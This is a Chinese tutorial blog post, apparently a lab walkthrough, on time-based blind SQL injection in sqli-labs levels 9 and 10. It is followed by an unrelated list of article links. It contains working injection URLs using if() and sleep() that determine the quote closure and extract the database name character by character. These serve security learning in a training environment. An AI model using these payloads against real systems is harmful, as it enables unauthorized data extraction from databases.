延时盲注——sqli-labs第9、10关
时间:2022-07-22
本文章向大家介绍延时盲注——sqli-labs第9、10关,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
目录
使用场景
1.对时间函数敏感
2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。
一些资料说是:
2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容
至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲
基本函数:
- if(var1,var2,var3)
var1:条件
var2:条件为真时返回的值
var3:条件为假时返回的值
- sleep(var)
暂停执行var秒,可以为小数
第9关
确认场景
首先确认场景,确定可以适用延时盲注
判断闭合符
- 构造一个明显会延时的if()语句拼接到条件语句(where)后
- 再依次尝试添加待确定的闭合符
- 如果延时,则尝试的闭合符正确
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+
不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'
单引号
将3>2
换成要查找的数据,这就是前面几关的布尔盲注了。
找到数据库名的长度
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+
有8位。
将数据库名一个字母一个字母爆出来
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+
大于114是正确的,大于115是错误的,说明是115。即为s
…………
后面的就和前几关的布尔盲注差不多了
第10关
同第9关,使用延时盲注
- 机器理解大数据秘密:聚类算法深度剖析
- BZOJ 3668: [Noi2014]起床困难综合症【贪心】
- 用C#实现字符串相似度算法(编辑距离算法 Levenshtein Distance)
- 51 Nod 1007 正整数分组【类01背包】
- 从入门到精通之Boyer-Moore字符串搜索算法详解
- 线性表的顺序存储结构的实现及其应用(C/C++实现)
- IPython使用学习笔记
- 如何用Python调用java程序
- LCT学习笔记
- 队列的存储结构的实现(C/C++实现)
- 栈的存储结构的实现(C/C++实现)
- 【经验分享】Hydra(爆破神器)使用方法
- 基于pytest集成selenium
- Android应用程序使用两个LinearLayout编排5个Button控件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法